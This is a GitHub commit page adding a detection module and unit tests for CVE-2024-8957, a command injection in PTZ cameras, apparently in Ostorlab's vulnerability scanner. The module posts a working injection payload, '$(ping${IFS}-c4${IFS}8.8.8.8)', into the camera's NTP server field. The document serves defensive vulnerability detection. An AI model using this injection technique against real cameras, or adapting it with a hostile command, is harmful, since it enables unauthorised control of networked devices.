Skip to content

Commit

Permalink
Merge pull request #133 from Ostorlab/feature/cve-2024-8957
Browse files Browse the repository at this point in the history
Add Detection for CVE-2024-8957
  • Loading branch information
3asm authored Nov 7, 2024
2 parents d38cc5f + 13cb17a commit bc33694
Show file tree
Hide file tree
Showing 2 changed files with 133 additions and 0 deletions.
64 changes: 64 additions & 0 deletions agent/exploits/cve_2024_8957.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
"""Agent Asteroid implementation for CVE-2024-8957"""

import datetime
import logging
import re

from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

VULNERABILITY_TITLE = "ValueHD PTZ Camera Command Injection"
VULNERABILITY_REFERENCE = "CVE-2024-8957"
VULNERABILITY_DESCRIPTION = (
"ValueHD PTZ cameras below firmware version 6.3.40 contain a command injection "
"vulnerability via NTP server configuration."
)
RISK_RATING = "CRITICAL"
DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)
SYSTEM_CONF_PATH = "/cgi-bin/param.cgi?get_device_conf"


@exploits_registry.register
class VHDPTZCommandInjectionExploit(webexploit.WebExploit):
"""
CVE-2024-8957: ValueHD PTZ Camera Command Injection
"""

accept_request = definitions.Request(method="GET", path=SYSTEM_CONF_PATH)
check_request = definitions.Request(
method="POST",
path="/cgi-bin/param.cgi?post_network_other_conf",
data=b"ntp_addr=$(ping${IFS}-c4${IFS}8.8.8.8)",
)
accept_pattern = [
re.compile(r'devname="ptzoptics"', re.IGNORECASE),
]

metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect command injection vulnerability on a target."""
vulnerabilities: list[definitions.Vulnerability] = []

target_endpoint = self.check_request.path
try:
resp = self.session.post(
f"{target.origin}{target_endpoint}",
data=self.check_request.data,
timeout=DEFAULT_TIMEOUT.seconds,
)
logging.info("Response in 8957: %s", resp.text)
if resp.status_code == 200 and "Success" in resp.text:
vulnerabilities.append(self._create_vulnerability(target))
except requests_exceptions.RequestException as e:
logging.error("Command injection detection failed: %s", e)

return vulnerabilities
69 changes: 69 additions & 0 deletions tests/exploits/cve_2024_8957_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
"""Unit tests for Agent Asteroid: VHD PTZ Camera Command Injection"""

import requests_mock as req_mock
from requests import exceptions as requests_exceptions

from agent import definitions
from agent.exploits import cve_2024_8957


def testVHDPTZCommandInjection_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Test case: when target is vulnerable to command injection."""
requests_mock.get(
"http://localhost:80/cgi-bin/param.cgi",
text='devname="ptzoptics" devtype="VX630A" versioninfo="SOC v6.3.40 - ARM 6.3.51THI" serial_num="r1j04260027" device_model="F53.HI"',
status_code=200,
)
requests_mock.post(
"http://localhost:80/cgi-bin/param.cgi?post_network_other_conf",
text='{"Response":{"Result":"Success"}}"',
status_code=200,
)

exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)
accept = exploit_instance.accept(target)

vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) > 0
vulnerability = vulnerabilities[0]
assert vulnerability.entry.title == "ValueHD PTZ Camera Command Injection"


def testVHDPTZCommandInjection_whenNotVulnerable_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Test case: when target is not vulnerable to command injection."""
requests_mock.post(
"http://localhost:80/cgi-bin/param.cgi?post_network_other_conf",
text="Couldn't connect to server\"",
status_code=200,
)

exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0


def testVHDPTZCommandInjection_requestException_handlingErrorLogged(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Test case: handle RequestException in command injection detection."""
requests_mock.post(
"http://localhost:80/cgi-bin/param.cgi?post_network_other_conf",
exc=requests_exceptions.RequestException("Simulated connection error"),
)

exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0

0 comments on commit bc33694

Please sign in to comment.